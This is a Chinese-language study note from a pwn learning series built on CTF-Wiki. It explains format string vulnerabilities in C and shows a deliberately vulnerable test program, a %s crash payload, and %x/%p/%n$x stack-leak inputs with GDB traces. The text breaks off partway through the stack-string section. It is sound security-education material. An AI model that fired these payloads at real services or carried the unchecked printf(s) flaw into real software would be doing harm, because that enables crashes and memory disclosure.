跟着CTF-Wiki学pwn|格式化字符串(1)
文章目錄
- 格式化字符串漏洞原理介紹
- 格式化字符串函數(shù)介紹
- 格式化字符串函數(shù)
- 格式化字符串
- 參數(shù)
- 格式化字符串漏洞原理
- 格式化字符串漏洞利用
- 程序崩潰
- 泄露內(nèi)存
- 泄露棧內(nèi)存
- 獲取棧變量數(shù)值
- 獲取棧變量對(duì)應(yīng)字符串
- 泄露任意地址內(nèi)存
- 覆蓋內(nèi)存
- 覆蓋棧內(nèi)存
- 確定覆蓋地址
- 確定相對(duì)偏移
- 進(jìn)行覆蓋
- 覆蓋任意地址內(nèi)存
- 覆蓋小數(shù)字
- 覆蓋大數(shù)字
格式化字符串漏洞原理介紹
首先,對(duì)格式化字符串漏洞的原理進(jìn)行簡(jiǎn)單介紹。
格式化字符串函數(shù)介紹
格式化字符串函數(shù)可以接受可變數(shù)量的參數(shù),并將第一個(gè)參數(shù)作為格式化字符串,根據(jù)其來(lái)解析之后的參數(shù)。通俗來(lái)說(shuō),格式化字符串函數(shù)就是將計(jì)算機(jī)內(nèi)存中表示的數(shù)據(jù)轉(zhuǎn)化為我們?nèi)祟?lèi)可讀的字符串格式。幾乎所有的C/C++程序都會(huì)利用格式化字符串函數(shù)來(lái)輸出信息,調(diào)試程序,或者處理字符串。一般來(lái)說(shuō),格式化字符串在利用的時(shí)候主要分為三個(gè)部分:
- 格式化字符串函數(shù)
- 格式化字符串
- 后續(xù)參數(shù)(可選)
以printf函數(shù)舉例:
格式化字符串函數(shù)
常見(jiàn)的格式化字符串函數(shù)有:
-
輸入
- scanf
-
輸出
函數(shù)基本介紹 printf 輸出到stdout fprintf 輸出到指定FILE流 vpirntf 根據(jù)參數(shù)列表格式化輸出到stdout vfprintf 根據(jù)參數(shù)列表格式化輸出到指定FILE流 sprintf 輸出到字符串 snprintf 輸出指定字節(jié)數(shù)到字符串 vsprintf 根據(jù)參數(shù)列表格式化輸出到字符串 vsnprintf 根據(jù)參數(shù)列表格式化輸出指定字節(jié)到字符串 setproctitle 設(shè)置argv syslog 輸出日志 err,verr,warn,vwarn等 …
格式化字符串
格式化字符串的基本格式如下:
%[parameter][flags][field width][.precision][length]typeformat string-Wikipedia
-
parameter(可選)
- n$,獲取格式化字符串中的第n個(gè)參數(shù)
-
flags(可為0個(gè)或多個(gè))
字符描述 + 總是表示有符號(hào)數(shù)值的’+‘或’-'號(hào),缺省情況是忽略正數(shù)的符號(hào)。僅適用于數(shù)值類(lèi)型。 空格 使得有符號(hào)數(shù)的輸出如果沒(méi)有正負(fù)號(hào)或者輸出0個(gè)字符,則前綴1個(gè)空格。如果空格與’+'同時(shí)出現(xiàn),則空格說(shuō)明符被忽略。 - 左對(duì)齊。缺省情況是右對(duì)齊。 # 對(duì)于’g’與’G’,不刪除尾部0以表示精度。對(duì)于’f’,‘F’,‘e’,‘E’,‘g’,‘G’,總是輸出小數(shù)點(diǎn)。對(duì)于’o’,‘x’,‘X’,在非0數(shù)值前分別輸出前綴0,0x,and 0X表示數(shù)制。 0 如果width選項(xiàng)前綴以0,則在左側(cè)用0填充直至達(dá)到寬度要求。例如printf("%2d", 3)輸出"3",而printf("%02d", 3)輸出"03"。如果0與-均出現(xiàn),則0被忽略,即左對(duì)齊依然用空格填充。 -
field width
- 輸出的最小寬度
-
precision
- 輸出的最大長(zhǎng)度
-
length,輸出的長(zhǎng)度
- hh,輸出一個(gè)字節(jié)
- h,輸出一個(gè)雙字節(jié)
-
type
- d/i,有符號(hào)整數(shù)
- u,無(wú)符號(hào)整數(shù)
- x/X,16進(jìn)制unsigned int。x使用小寫(xiě)字母;X使用大寫(xiě)字母。如果指定了精度,則輸出的數(shù)字不足時(shí)在左側(cè)補(bǔ)0。默認(rèn)精度為1.精度為0且值為0,則輸出為空。
- o,8進(jìn)制unsigned int。如果指定了精度,則輸出的數(shù)字不足時(shí)在左側(cè)補(bǔ)0.默認(rèn)精度為1.精度為0且值為0,則輸出為空。
- s,如果沒(méi)有用l標(biāo)志,輸出null結(jié)尾字符串直到精度規(guī)定的上限;如果沒(méi)有指定精度,則輸出所有字節(jié)。如果用了l標(biāo)志,則對(duì)應(yīng)函數(shù)參數(shù)指向wchar_t型的數(shù)組,輸出時(shí)把每個(gè)寬字符轉(zhuǎn)化為多字節(jié)字符,相當(dāng)于調(diào)用wcrtomb函數(shù)。
- c,如果沒(méi)有用l標(biāo)志,把int參數(shù)轉(zhuǎn)為unsigned char型輸出;如果用了l標(biāo)志,把wint_t參數(shù)轉(zhuǎn)為包含兩個(gè)元素的wchart_t數(shù)組,其中第一個(gè)元素包含要輸出的字符,第二個(gè)元素為null寬字符。
- p,void *型,輸出對(duì)應(yīng)變量的值。printf("%p",a)用地址的格式打印變量a的值,printf("%p",&a)打印變量a所在的地址。
- n,不輸出字符,但是把已經(jīng)成功輸出的字符個(gè)數(shù)寫(xiě)入對(duì)應(yīng)的整型指針參數(shù)所指的變量。
- %,’%'字面值,不接受任何flags,width。
參數(shù)
即相應(yīng)的要輸出的變量。
格式化字符串漏洞原理
上面說(shuō)到,格式化字符串函數(shù)是根據(jù)格式化字符串函數(shù)來(lái)進(jìn)行解析的。**那么相應(yīng)的要被解析的參數(shù)的個(gè)數(shù)也自然是由這個(gè)格式化字符串所控制。**比如說(shuō)’%s’表明我們會(huì)輸出一個(gè)字符串參數(shù)。
我們繼續(xù)以上面的為例子進(jìn)行介紹
對(duì)于這樣的例子,在進(jìn)入printf函數(shù)之前(即還沒(méi)有調(diào)用printf函數(shù)),棧上的布局由高地址到低地址依次為:
some value #假設(shè)為某個(gè)未知的值 3.14 123456 addr of "red" addr of format string: Color %s...在進(jìn)入printf之后,函數(shù)首先獲取第一個(gè)參數(shù),一個(gè)一個(gè)讀取其字符串會(huì)遇到兩種情況:
- 當(dāng)前字符不是 %,直接輸出到相應(yīng)標(biāo)準(zhǔn)輸出。
- 當(dāng)前字符是%,繼續(xù)讀取下一個(gè)字符
- 如果沒(méi)有字符,報(bào)錯(cuò)
- 如果下一個(gè)字符是%,輸出%
- 否則根據(jù)相應(yīng)的字符,獲取相應(yīng)的參數(shù),對(duì)其進(jìn)行解析并輸出
假設(shè)在編寫(xiě)程序的時(shí)候,寫(xiě)成了下面的樣子
printf("Color %s,Number %d,Float %4.2f");即沒(méi)有提供參數(shù),程序應(yīng)該如何運(yùn)行?
程序照樣會(huì)運(yùn)行,會(huì)將棧上存儲(chǔ)格式化字符串地址上面的三個(gè)變量分別解析為
- 1.解析其地址對(duì)應(yīng)的字符串
- 2.解析其內(nèi)容對(duì)應(yīng)的整型值
- 3.解析其內(nèi)容對(duì)應(yīng)的浮點(diǎn)值
對(duì)于2,3來(lái)說(shuō)倒還無(wú)妨,但是對(duì)于1來(lái)說(shuō),如果提供了一個(gè)不可訪問(wèn)地址,比如0,那么程序就會(huì)因此而崩潰。
這基本就是格式化字符串漏洞的基本原理了。
格式化字符串漏洞利用
其實(shí),在上一部分,我們展示了格式化字符串漏洞的兩個(gè)利用手段
- 使程序崩潰,因?yàn)?s對(duì)應(yīng)的參數(shù)地址不合法的概率比較大。
- 查看進(jìn)程內(nèi)容,根據(jù)%d,%f輸出了棧上的內(nèi)容。
下面我們會(huì)對(duì)于每一方面進(jìn)行更加詳細(xì)的解釋。
程序崩潰
通常來(lái)說(shuō),利用格式化字符串漏洞使得程序崩潰是最為簡(jiǎn)單的利用方式,因?yàn)槲覀冎敌枰斎肴舾蓚€(gè)%s即可
%s%s%s%s%s%s%s%s%s%s%s%s%s%s這是因?yàn)闂I喜豢赡苊總€(gè)值都對(duì)應(yīng)了合法的地址,所以總是會(huì)有某個(gè)地址可以使得程序崩潰。這一利用,雖然攻擊者本身似乎并不能控制程序,但是這樣卻可以造成程序不可用。比如說(shuō),如果遠(yuǎn)程服務(wù)有一個(gè)格式化字符串漏洞,那么我們就可以攻擊其可用性,使服務(wù)崩潰,進(jìn)而使得用戶(hù)不能夠訪問(wèn)。
泄露內(nèi)存
利用格式化字符串的漏洞,我們還可以獲取我們所想要輸出的內(nèi)容。一般會(huì)有如下幾種操作:
- 泄露棧內(nèi)存
- 獲取某個(gè)變量的值
- 獲取某個(gè)變量對(duì)應(yīng)地址的內(nèi)存
- 泄露任意地址內(nèi)存
- 利用GOT表得到libc函數(shù)地址,進(jìn)而獲取libc,進(jìn)而獲取其它libc函數(shù)地址
- 盲打,dump整個(gè)程序,獲取有用信息
泄露棧內(nèi)存
例如,給定如下程序
#include <stdio.h> int main() {char s[100];int a = 1, b = 0x22222222, c = -1;scanf("%s", s);printf("%08x.%08x.%08x.%s\n", a, b, c, s);printf(s);return 0; }然后編譯,
devil@ubuntu:~$ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c In file included from /usr/include/stdio.h:27:0,from leakmemory.c:1: /usr/include/features.h:367:25: fatal error: sys/cdefs.h: No such file or directory compilation terminated.這是什么奇怪的報(bào)錯(cuò)啊…
devil@ubuntu:~$ gcc -fno-stack-protector -no-pie -o leakmemory leakmemory.cleakmemory.c: In function ‘main’: leakmemory.c:7:9: warning: format not a string literal and no format arguments [-Wformat-security]printf(s);把-m32去掉就好了。
可以看出,編譯器指出了我們的程序中沒(méi)有給出格式化字符串的參數(shù)問(wèn)題。下面我們來(lái)看一下如何獲取對(duì)應(yīng)的棧內(nèi)存。
根據(jù) C 語(yǔ)言的調(diào)用規(guī)則,格式化字符串函數(shù)會(huì)根據(jù)格式化字符串直接使用棧上自頂向上的變量作為其參數(shù) (64 位會(huì)根據(jù)其傳參的規(guī)則進(jìn)行獲取)。這里我們主要介紹 32 位。
獲取棧變量數(shù)值
首先,我們可以利用格式化字符串來(lái)獲取棧上變量的數(shù)值。我們可以試一下…
結(jié)果是運(yùn)行沒(méi)反應(yīng),考慮到可能是-m32參數(shù)沒(méi)加的原因,上網(wǎng)查了之前的報(bào)錯(cuò),可能是libc的庫(kù)有問(wèn)題。
sudo apt-get purge libc6-dev sudo apt-get install libc6-dev sudo apt-get install libc6-dev-i386運(yùn)行還是沒(méi)反應(yīng)…我突然發(fā)現(xiàn)原來(lái)程序要先輸入…WSSB
devil@ubuntu:~$ ./leakmemory %08x.%08x.%08x 00000001.22222222.ffffffff.%08x.%08x.%08x ffab5f48.f7f07918.00f0b5ff可以看到,我們確實(shí)得到了一些內(nèi)容。為了更加細(xì)致的觀察,我們利用 GDB 來(lái)調(diào)試一下,以便于驗(yàn)證我們的想法,這里刪除了一些不必要的信息,我們只關(guān)注代碼段以及棧。
首先,啟動(dòng)程序,將斷點(diǎn)下載 printf 函數(shù)處
devil@ubuntu:~$ gdb leakmemory gef? b printf Breakpoint 1 at 0x8048370 gef? r Starting program: /home/devil/leakmemory %08x.%08x.%08x敲擊回車(chē),程序繼續(xù)運(yùn)行,可以看出程序首先斷在了第一次調(diào)用printf函數(shù)的位置
Breakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → "%08x.%08x.%08x" $ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000 $esp : 0xffffcfcc → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfcc│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xffffcfd0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xffffcfd4│+0x0008: 0x00000001 0xffffcfd8│+0x000c: 0x22222222 0xffffcfdc│+0x0010: 0xffffffff 0xffffcfe0│+0x0014: 0xffffd008 → "%08x.%08x.%08x" 0xffffcfe4│+0x0018: 0xffffd008 → "%08x.%08x.%08x" 0xffffcfe8│+0x001c: 0xf7ffd918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()可以看出,此時(shí)已經(jīng)進(jìn)入了printf函數(shù)中,**棧中的第一個(gè)變量為返回地址,第二個(gè)變量為格式化字符串的地址,第三個(gè)變量為a的值,第四個(gè)變量為b的值,第五個(gè)變量為c的值,第六個(gè)變量為我們輸入的格式化字符串對(duì)應(yīng)的地址。**繼續(xù)運(yùn)行程序。
gef? c Continuing. 00000001.22222222.ffffffff.%08x.%08x.%08x可以看出,程序確實(shí)輸出了每一個(gè)變量對(duì)應(yīng)的數(shù)值,并且斷在了下一個(gè)printf處
Breakpoint 1, __printf (format=0xffffd008 "%08x.%08x.%08x") at printf.c:28 28 in printf.c [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → "%08x.%08x.%08x" $ebx : 0x0 $ecx : 0x7fffffd6 $edx : 0xf7fb7870 → 0x00000000 $esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp 0xffffcfe0│+0x0004: 0xffffd008 → "%08x.%08x.%08x" 0xffffcfe4│+0x0008: 0xffffd008 → "%08x.%08x.%08x" 0xffffcfe8│+0x000c: 0xf7ffd918 → 0x00000000 0xffffcfec│+0x0010: 0x00f0b5ff 0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffcff4│+0x0018: 0x00000001 0xffffcff8│+0x001c: 0x000000c2 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0xffffd008 "%08x.%08x.%08x") [#1] 0x804852c → main()此時(shí),由于格式化字符串為%x%x%x,所以,程序會(huì)將棧上的第三個(gè)地址開(kāi)始處(也就是0xffffcfe4)及其以后的數(shù)值分別作為第一、第二、第三個(gè)參數(shù)按照int型進(jìn)行解析,分別輸出。繼續(xù)運(yùn)行,我們可以得到如下結(jié)果,和想象中一致。
gef? c Continuing. ffffd008.f7ffd918.00f0b5ff[Inferior 1 (process 4193) exited normally]當(dāng)然,我們也可以使用%p來(lái)獲取數(shù)據(jù),如下
gef? r Starting program: /home/devil/leakmemory %p.%p.%p 00000001.22222222.ffffffff.%p.%p.%p 0xffffd008.0xf7ffd918.0xf0b5ff[Inferior 1 (process 4253) exited normally]這里需要注意的是,并不是每次得到的結(jié)果都一樣 ,因?yàn)闂I系臄?shù)據(jù)會(huì)因?yàn)槊看畏峙涞膬?nèi)存頁(yè)不同而有所不同,這是因?yàn)闂J遣粚?duì)內(nèi)存頁(yè)做初始化的。
那么有沒(méi)有辦法直接獲取棧中被視為第n+1個(gè)參數(shù)的值呢?
方法如下:
%n$x利用如上的字符串,我們就可以獲取到對(duì)應(yīng)的第 n+1 個(gè)參數(shù)的數(shù)值。為什么這里要說(shuō)是對(duì)應(yīng)第 n+1 個(gè)參數(shù)呢?這是因?yàn)楦袷交瘏?shù)里面的 n 指的是該格式化字符串對(duì)應(yīng)的第 n 個(gè)輸出參數(shù),那相對(duì)于輸出函數(shù)來(lái)說(shuō),就是第 n+1 個(gè)參數(shù)了。
我們?cè)俅我詆db調(diào)試一下。
devil@ubuntu:~$ gdb leakmemory gef? b printf Breakpoint 1 at 0x8048370 gef? r Starting program: /home/devil/leakmemory %3$xBreakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → "%3$x" $ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000 $esp : 0xffffcfcc → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfcc│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xffffcfd0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xffffcfd4│+0x0008: 0x00000001 0xffffcfd8│+0x000c: 0x22222222 0xffffcfdc│+0x0010: 0xffffffff 0xffffcfe0│+0x0014: 0xffffd008 → "%3$x" 0xffffcfe4│+0x0018: 0xffffd008 → "%3$x" 0xffffcfe8│+0x001c: 0xf7ffd918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()gef? c Continuing. 00000001.22222222.ffffffff.%3$xBreakpoint 1, __printf (format=0xffffd008 "%3$x") at printf.c:28 28 in printf.c [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → "%3$x" $ebx : 0x0 $ecx : 0x7fffffe0 $edx : 0xf7fb7870 → 0x00000000 $esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp 0xffffcfe0│+0x0004: 0xffffd008 → "%3$x" 0xffffcfe4│+0x0008: 0xffffd008 → "%3$x" 0xffffcfe8│+0x000c: 0xf7ffd918 → 0x00000000 0xffffcfec│+0x0010: 0x00f0b5ff 0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffcff4│+0x0018: 0x00000001 0xffffcff8│+0x001c: 0x000000c2 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0xffffd008 "%3$x") [#1] 0x804852c → main()gef? c Continuing. f0b5ff[Inferior 1 (process 4290) exited normally]棧上第一個(gè)值是返回地址,第二個(gè)值是格式化字符串地址,第三個(gè)是格式化字符串第一個(gè)參數(shù),第四個(gè)是格式化字符串第二個(gè)參數(shù),第五個(gè)是格式化字符串第三個(gè)參數(shù),也就是我們要輸出的0x00f0b5ff。注意,格式化字符串的第三個(gè)參數(shù)是printf函數(shù)輸出的第四個(gè)參數(shù)。
獲取棧變量對(duì)應(yīng)字符串
此外,我們還可以獲得棧變量對(duì)應(yīng)的字符串,這其實(shí)就是需要用到 %s 了。這里還是使用上面的程序,進(jìn)行 gdb 調(diào)試,如下
devil@ubuntu:~$ gdb leakmemory gef? b printf Breakpoint 1 at 0x8048370 gef? r Starting program: /home/devil/leakmemory %sBreakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → 0x00007325 ("%s"?) $ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000 $esp : 0xffffcfcc → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfcc│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xffffcfd0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xffffcfd4│+0x0008: 0x00000001 0xffffcfd8│+0x000c: 0x22222222 0xffffcfdc│+0x0010: 0xffffffff 0xffffcfe0│+0x0014: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe4│+0x0018: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe8│+0x001c: 0xf7ffd918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()gef? c Continuing. 00000001.22222222.ffffffff.%sBreakpoint 1, __printf (format=0xffffd008 "%s") at printf.c:28 28 in printf.c [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → 0x00007325 ("%s"?) $ebx : 0x0 $ecx : 0x7fffffe2 $edx : 0xf7fb7870 → 0x00000000 $esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp 0xffffcfe0│+0x0004: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe4│+0x0008: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe8│+0x000c: 0xf7ffd918 → 0x00000000 0xffffcfec│+0x0010: 0x00f0b5ff 0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffcff4│+0x0018: 0x00000001 0xffffcff8│+0x001c: 0x000000c2 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0xffffd008 "%s") [#1] 0x804852c → main()gef? c Continuing. %s[Inferior 1 (process 4344) exited normally]可以看出,在第二次執(zhí)行printf函數(shù)的時(shí)候,確實(shí)將0xffffcfe4處的變量視為字符串變量,輸出了其數(shù)值所對(duì)應(yīng)的地址處的字符串。
當(dāng)然,并不是所有這樣的都會(huì)正常運(yùn)行,如果對(duì)應(yīng)的變量不能夠被解析為字符串地址,那么,程序就會(huì)直接崩潰。
此外,我們也可以指定獲取棧上第幾個(gè)參數(shù)作為格式化字符串輸出,比如我們指定第 printf 的第 4 個(gè)參數(shù),如下,此時(shí)程序就不能夠解析,就崩潰了。
